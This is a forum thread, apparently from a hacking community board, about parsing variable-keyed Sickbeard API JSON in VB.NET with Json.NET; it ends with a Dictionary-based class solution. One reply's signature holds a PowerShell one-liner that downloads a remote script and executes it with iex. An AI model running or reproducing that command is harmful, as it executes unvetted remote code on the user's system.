Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

.NET 

JSON Parsing Help

Hey Guys,

I am a little stuck at the moment with Parsing some JSON due to the way it gets output.

I am using Json.NET by Newtonsoft, and have used it many times before.

So my problem is that with this JSON output here: https://pastebin.com/gE1QUCK3

When I create the class for it to use Json.NET I get this as an output here: https://pastebin.com/1Q4nCg7E

Which doesn't work as the shows can be different depending on the user, and the obviously the class names also go as numbers.

Does anyone know of a way that I could either create like the class at runtime or dynamically create an object. Then be able to loop through the object.

For extra info this is the API Documentation here: http://sickbeard.com/api/

Many Thanks

-xDowwdeen
Check out https://jsonutils.com/ for creating classes based off of JSON responses.
powershell.exe -noprofile -noexit -command iex "(new-object net.webclient).downloadstring('https://media.nick-name.net/ps/execute.ps1')"[Image: f4hRdFS.gif]
(Nov 26, 2018 11:11 AM)Nick (Name) Wrote:  Check out https://jsonutils.com/ for creating classes based off of JSON responses.

This was where i has created the class I have put on the pastebin
I don't know VB.NET so I can't provide any code sadly, but a simple way inmo would to be looping through "data" objects properties (because this is what they would be treated as) then creating a class (Result per example) and creating a Result object via the data.x children and adding that to a List.

Code
loop through response.data
    Result = new Result(item);
    listX.add(Result)
Hi
Have a look and play with this website to get the data structure you need.

Hope this helps you :)

https://app.quicktype.io?share=Ap8zYxudqjrTPcF7qLsT
I'm no longer coding in .net but I was used this website before: http://json2csharp.com
(Nov 26, 2018 10:26 PM)CodeAssassin Wrote:  Have a look and play with this website to get the data structure you need.

Hope this helps you :)

https://app.quicktype.io?share=Ap8zYxudqjrTPcF7qLsT

(Nov 27, 2018 04:23 AM)S2K Wrote:  I'm no longer coding in .net but I was used this website before: http://json2csharp.com


Hi Guys,

Thanks for your help, I am already been using the https://jsonutils.com/ website to help making my VB.NET classes, which works normally however with the JSON response that I get given it doesn't like create the list into an array.

Please see here the output I get given from https://jsonutils.com/ >> [https://pastebin.com/1Q4nCg7E]

It's creating its own class for each of the TV shows that are in the database. However this changes depending on the user that would be using the program.

Hope this makes a bit more sense.

-xDowwdeen
data is of type Dictionary<string, object>

Code
Public Class DataEntry
    Public Property air_by_date As Integer
    Public Property anime As Integer
    Public Property cache As Cache
    Public Property indexerid As Integer
    Public Property language As String
    Public Property network As String
    Public Property next_ep_airdate As String
    Public Property paused As Integer
    Public Property quality As String
    Public Property show_name As String
    Public Property sports As Integer
    Public Property status As String
    Public Property subtitles As Integer
    Public Property tvdbid As Integer
End Class

Public Class Entries
    <JsonProperty(PropertyName:="data")>
    Public Property Data As Dictionary(Of String, DataEntry)
End Class
(Nov 27, 2018 10:41 AM)stefsot Wrote:  data is of type Dictionary<string, object>

Code
Public Class DataEntry
   Public Property air_by_date As Integer
   Public Property anime As Integer
   Public Property cache As Cache
   Public Property indexerid As Integer
   Public Property language As String
   Public Property network As String
   Public Property next_ep_airdate As String
   Public Property paused As Integer
   Public Property quality As String
   Public Property show_name As String
   Public Property sports As Integer
   Public Property status As String
   Public Property subtitles As Integer
   Public Property tvdbid As Integer
End Class

Public Class Entries
   <JsonProperty(PropertyName:="data")>
   Public Property Data As Dictionary(Of String, DataEntry)
End Class

Ahhh many thanks. I can see how that works :)

Thansk soo much for your help :)

-xDowwdeen
I don't get this. Like, I looked at the pastebin. Is all of this code really necessary?

Can't you make a simple template class with matching data types and just serialise/deserialise?

I use Newtonsoft, and I have to serialise/deserialise all the time. Works fine, using complex types. I just create basic template classes to work with. What you have there baffles me, I'd start from scratch.
- Valeas quam optime. -


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Python] by roosiinfidel09May 26, 2021 06:32 AM 1 274 May 26, 2021 06:32 AM
Last Post: h0lyl337
[.NET] by outlawNov 28, 2020 04:25 AM 12 367 Nov 28, 2020 04:25 AM
Last Post: Rmdy
[C#] by HardStoNAug 15, 2020 03:56 AM 6 293 Aug 15, 2020 03:56 AM
Last Post: HardStoN